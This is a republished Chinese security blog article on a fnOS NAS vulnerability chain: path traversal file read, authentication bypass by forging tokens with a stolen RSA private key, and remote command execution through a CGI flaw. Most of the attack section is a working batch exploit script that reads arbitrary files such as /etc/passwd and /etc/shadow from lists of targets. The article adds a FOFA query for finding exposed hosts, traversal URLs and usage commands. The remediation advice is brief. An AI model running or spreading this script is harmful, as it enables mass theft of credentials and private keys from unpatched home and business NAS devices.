飞牛私有云fnOS远程命令执行漏洞与文件读取漏洞【批量验证脚本】

admin 2026-02-06 01:27:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 飞牛私有云fnOS系统存在严重安全漏洞,影响版本小于1.1.15。攻击者可利用路径遍历读取敏感文件获取RSA私钥,通过伪造Token绕过身份验证,并结合CGI漏洞实现远程命令执行。文档提供了批量验证脚本与检测思路,建议立即升级系统版本并部署WAF进行防护。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,渗透测试


cover_image

飞牛私有云fnOS远程命令执行漏洞与文件读取漏洞【批量验证脚本】

原创

MY0723 MY0723

不秃头的安全

2026年2月5日 17:34 北京

飞牛私有云fnOS远程命令执行漏洞与文件读取漏洞【批量验证脚本】

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询

飞牛私有云fnOS是一款基于Debian Linux内核深度开发的国产、正版免费NAS操作系统。因其免费和程序资源丰富,吸引了很多的用户。

近日,飞牛私有云fnOS系统被曝出高危远程命令执行漏洞与文件读取漏洞,攻击者可通过精心构造的请求直接获取系统权限并读取敏感文件,危害极大。可通过脚本自查环境是否存在漏洞~

1.🎯 漏洞描述

飞牛系统(fnOS)fnOS出现严重0day漏洞,未经身份攻击者可通过该漏洞在服务器端任意文件读取以及任意执行代码,写入后门后,可造成rce,进而控制服务器。

2. ✨ 受影响范围

fnos<1.1.15

fofa语句:

icon_hash="470295793"&nbsp;|| app="飞牛-私有云fnOS"

2.🛰️ 漏洞详情

任意文件读取:该漏洞源于app-center-static接口(用于提供应用静态资源)在处理参数时,仅做简单字符串拼接,未对路径跳转符进行严格校验。攻击者可以利用../等路径遍历符,构造恶意URL,从而访问到app-center-static目录以外的任意文件

示例请求:

GET [TARGET_IP]:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd

通过上述请求,攻击者可以读取到/etc/passwd文件。类似地,可以读取其他敏感文件,例如/etc/shadow/var/lib/postgresql/*/main/base下的数据库文件,甚至RSA私钥文件rsa_private_key.pem,为后续的认证绕过和命令执行提供条件

飞牛OS的RCE漏洞链通常包括以下几个关键步骤 :

  1. 任意文件读取: 攻击者首先利用文件读取漏洞获取系统中的敏感文件,其中最关键的是rsa_private_key.pem。该私钥在后续的Token生成和认证过程中扮演核心角色。
  2. 认证绕过:
  • 登录逻辑与Token生成: 飞牛OS的认证依赖于secrettokensecret是一个16字节的随机数据,其中第16字节被强制设置为otoken是一个32字节的数据,其前16字节是IV(由时间戳、计时器和随机数拼接而成),后16字节是使用RSA密钥对secret进行AES加密后的数据。这意味着secrettoken可以相互转化。
  • 鉴权机制: 在/usr/trim/bin/trimhandle_websocket_packet函数中,存在鉴权逻辑。当系统进行签名验证时,如果请求中包含token字段,系统会直接解密该token以获取secret,然后使用此secret对请求体进行签名验证。攻击者正是利用这一机制,通过获取到的rsa_private_key.pem伪造有效的secrettoken,从而绕过认证。
  1. 授权命令执行: 成功绕过认证后,攻击者获得了合法用户的权限。此时,可以利用系统中的其他业务逻辑漏洞实现命令执行。例如,/usr/trim/bin/trim_http_cgi中存在一个CGI路径穿越漏洞。攻击者可以结合伪造的合法token和文件上传API,将恶意bash脚本上传到/var目录并执行,从而实现远程命令执行。

总结而言,该RCE漏洞链的核心在于: 攻击者通过任意文件读取获取RSA私钥 -> 利用私钥伪造Token绕过认证 -> 结合CGI路径穿越漏洞执行任意命令。

3. 🔐POC及脚本

🛰️任意文件读取POC:

/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../
/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd

任意文件读取批量脚本

import requests
import argparse
import sys

def exploit_lfi(target_ip, target_port, file_to_read):
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; Exploits the fnOS arbitrary file read vulnerability for a single target.
&nbsp; &nbsp; """
&nbsp; &nbsp;&nbsp;# 确保 target_ip 不包含协议前缀
&nbsp; &nbsp; target_ip = target_ip.replace("http://",&nbsp;"").replace("https://",&nbsp;"").rstrip("/")
&nbsp; &nbsp; base_url = f"http://{target_ip}:{target_port}"

&nbsp; &nbsp;&nbsp;# 规范化待读取文件路径
&nbsp; &nbsp;&nbsp;if&nbsp;not file_to_read.startswith("/"):
&nbsp; &nbsp; &nbsp; &nbsp; file_to_read =&nbsp;"/"&nbsp;+ file_to_read

&nbsp; &nbsp;&nbsp;# 构造路径穿越 Payload
&nbsp; &nbsp;&nbsp;# 从 /app-center-static/serviceicon/myapp/%7B0%7D/ 向上跳 4 级到达根目录
&nbsp; &nbsp; traversal_payload =&nbsp;"../../../../"&nbsp;+ file_to_read.lstrip("/")

&nbsp; &nbsp; url = f"{base_url}/app-center-static/serviceicon/myapp/%7B0%7D/?size={traversal_payload}"

&nbsp; &nbsp;&nbsp;print(f"\n[*] Target: {target_ip}:{target_port}")
&nbsp; &nbsp;&nbsp;print(f"[*] Attempting to read: {file_to_read}")
&nbsp; &nbsp;&nbsp;print(f"[*] Requesting URL: {url}")

&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; response = requests.get(url, timeout=10)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.status_code == 200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] File content successfully retrieved:")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("="&nbsp;* 50)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(response.text)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("="&nbsp;* 50)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Failed to retrieve file. Status code: {response.status_code}")
&nbsp; &nbsp; except requests.exceptions.RequestException as e:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] An error occurred: {e}")

def main():
&nbsp; &nbsp; parser = argparse.ArgumentParser(description='fnOS Arbitrary File Read (LFI) PoC Script')

&nbsp; &nbsp;&nbsp;# 目标指定组(互斥)
&nbsp; &nbsp; target_group = parser.add_mutually_exclusive_group(required=True)
&nbsp; &nbsp; target_group.add_argument("-t",&nbsp;"--target",&nbsp;help='Target IP address or hostname (e.g., 192.168.1.123)')
&nbsp; &nbsp; target_group.add_argument("-tf",&nbsp;"--target-file",&nbsp;help='File containing a list of targets (IP:Port or IP per line)')

&nbsp; &nbsp; parser.add_argument("-p",&nbsp;"--port",&nbsp;type=int, default=5666,&nbsp;help='Default target port (default: 5666)')
&nbsp; &nbsp; parser.add_argument("-f",&nbsp;"--file", required=True,&nbsp;help='Path to the file to read on the target system (e.g., /etc/passwd)')

&nbsp; &nbsp; args = parser.parse_args()

&nbsp; &nbsp;&nbsp;if&nbsp;args.target_file:
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; with open(args.target_file,&nbsp;'r') as f:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; targets = f.readlines()

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;target_entry&nbsp;in&nbsp;targets:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target_entry = target_entry.strip()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not target_entry:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ip = target_entry
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; port = args.port

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if":"in&nbsp;target_entry:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parts = target_entry.split(":")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 处理可能带有 http:// 的情况
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(parts) > 2:&nbsp;# http://1.1.1.1:5666
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ip =&nbsp;":".join(parts[:-1])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; port_str = parts[-1]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp;# 1.1.1.1:5666
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ip, port_str = parts

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; port = int(port_str)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except ValueError:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass&nbsp;# 使用默认端口

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exploit_lfi(ip, port, args.file)
&nbsp; &nbsp; &nbsp; &nbsp; except FileNotFoundError:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Target file not found: {args.target_file}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; exploit_lfi(args.target, args.port, args.file)

if&nbsp;__name__ ==&nbsp;'__main__':
&nbsp; &nbsp; main()

命令样式

包含多个目标,请使用 -tf 参数:python fnos_lfi_poc.py -tf urls.txt -f /etc/passwd
测试单个目标:python fnos_lfi_poc.py -t 192.168.1.123 -f /etc/passwd

不想环境搭建的直接启动mht无镜靶场,配置好openvpn配置文件

获取无镜靶场flag

成功提交

🌐命令执行批量扫描脚本:

本脚本基于githubbron1e 作者fnos-rce-chain修改下可造成rce效果~脚本获取方式在下面

直接执行命令

python fnos_rce.py -f urls.txt

访问利用成功

http://192.168.111.20:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../tmp/QAXNB.txt

4. 📑修复建议

  • 升级系统: 确保飞牛OS系统升级到已修复漏洞的最新版本。
  • 代码审计: 对app-center-static接口和trim_http_cgi等关键模块进行严格的代码审计 ,确保所有用户输入都经过严格的过滤和校验,防止路径遍历和命令注入。
  • 最小权限原则: 运行服务时遵循最小权限原则,限制不必要的权限,即使发生漏洞,也能降低攻击面和危害。
  • Web应用防火墙 (WAF): 部署WAF可以有效检测和拦截针对路径遍历和命令注入的攻击。

5. 🔄 脚本获取

关注公众号回复”20260205″即可获取完整RCE PY脚本链接

6. 📄往期推荐:

攻防实战 | 入口即突破口:通过公众号名称获取54家单位数据库防线 GNU Inetutils telnet远程认证绕过漏洞(CVE-2026-24061)分析及自查脚本 ShiroExploit_通过另类手法实现Shiro一把梭 渗透测试 | fuzz参数拿下网站管理员权限

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

1. 需要以下各类安全证书的可以联系,后期可能涨价~

①Cn*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。想加群下方链接,群过期或群满加下方vx拉:

  1. 需要入星球的可以私聊优惠?
1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安&nbsp;高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:不秃头的安全 MY0723 MY0723《飞牛私有云fnOS远程命令执行漏洞与文件读取漏洞【批量验证脚本】》

评论:0   参与:  0